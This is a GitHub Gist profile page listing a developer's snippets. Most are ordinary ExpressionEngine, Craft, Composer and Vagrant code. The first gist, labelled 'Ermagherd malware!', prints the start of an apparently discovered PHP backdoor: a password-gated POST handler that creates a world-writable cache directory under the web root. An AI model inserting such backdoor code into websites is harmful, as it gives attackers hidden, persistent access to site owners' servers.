Skip to content

Instantly share code, notes, and snippets.

View dreadfullyposh's full-sized avatar

Jeremy Gimbel dreadfullyposh

View GitHub Profile
@dreadfullyposh
dreadfullyposh / gist:5043563
Created February 27, 2013 00:01
Ermagherd malware!
<?
$dir = $_SERVER['DOCUMENT_ROOT']."/cms/cache/htm_cache/"; //папка для кэша
if (isset($_POST['chdor']) && md5($_POST['psw'])=='2e611859c8dc0f9d94fbf62e0d6aaf2b')
{
if (!is_dir($dir))
{
$res = mkdir($dir);
if ($res===false) {exit('333');}
@chmod($dir,0777);
}
@dreadfullyposh
dreadfullyposh / gist:5536957
Last active December 17, 2015 02:38
Login module code
/*
* So, basically you'd set this type of function up as an action ID in an EE module
*
*/
function process_login(){
// Some sort of verfication would happen here, either session variables or an encrypted key, etc. something to
// prove that the request is valid.
if(!(some validation scheme) && (also validate that you have a member id to login))
// if field_id_4 is your playa field it works like this
$this->EE->load->library('api');
$this->EE->api->instantiate('channel_entries');
$this->EE->api->instantiate('channel_fields');
$data = array(
'title' => $entry->title,
'field_id_4' => '',
'field_ft_4' => 'none',
{exp:paternitee:entries
channel="content"
field_type="relationship"
use_get="no"
paginate="bottom"
limit="3"
disable="categories|member_data"
field:content_cats="leopard"
}
@dreadfullyposh
dreadfullyposh / freeform_downloads.html
Last active August 29, 2015 14:01
Using FreeForm to protect downloads
// This is the form template, note the return including the form entry id
{exp:freeform:form
form_name="downloadform"
return="templategroup/downloadtemplate/%%entry_id%%"
}
// fields go here..
{/exp:freeform:form}
@dreadfullyposh
dreadfullyposh / template.html
Created May 15, 2014 19:24
PaternitEE Conditional using Mo' Variables and IfElse
// First off, you'll want to make sure you have Mo' Variables enabled, and make sure a default value is being set for
// your field names, so things don't go crazy.
// IfElse will prevent both conditions from parsing, since this is an advanced conditional and would kill performance
{exp:ifelse parse="inward"}
{if "{get:your_query_string_param}" == ""}
{exp:channel:entries (other stuff here) }
// perhaps a snippet of your loop template to keep things try
@dreadfullyposh
dreadfullyposh / json.html
Created May 16, 2014 21:19
json template
{exp:http_header content_type="application/javascript"}
{
{exp:low_search:results
{if get_post:keywords}keywords="{get_post:keywords}"{/if}
{if search:sites}child:index_site="{search:sites}"{/if}
disable="member_data|categories|category_fields|pagination"
collection="index"
backspace="1"
log_search="yes"
}
{
"name": "confluxgroup/twigee",
"description": "Twig + EE",
"authors": [
{
"name": "Jeremy Gimbel",
"email": "[email protected]"
}
],
"require": {
@dreadfullyposh
dreadfullyposh / provision.sh
Created December 5, 2016 17:49
Provisioning script for changing the PHP version of Scotchbox
# Add the following line to your Vagrantfile:
# config.vm.provision "shell", path: "provision.sh"
#
# Create the provision.sh file inside your vagrant directory (where your Vagrantfile is located)
#
# Uncomment the appropriate line below for the PHP version you want to isntall.
sudo add-apt-repository ppa:ondrej/php -y
sudo apt-get update
sudo apt-get --purge remove -y php5-*
{
"sources": [{
"name": "Organization Logos",
"handle": "organizationLogos",
"type": "Local",
"settings": {
"path": "{fileSystemPath}uploads/organization_logos",
"url": "{siteUrl}uploads/organization_logos",
"publicURLs": true
},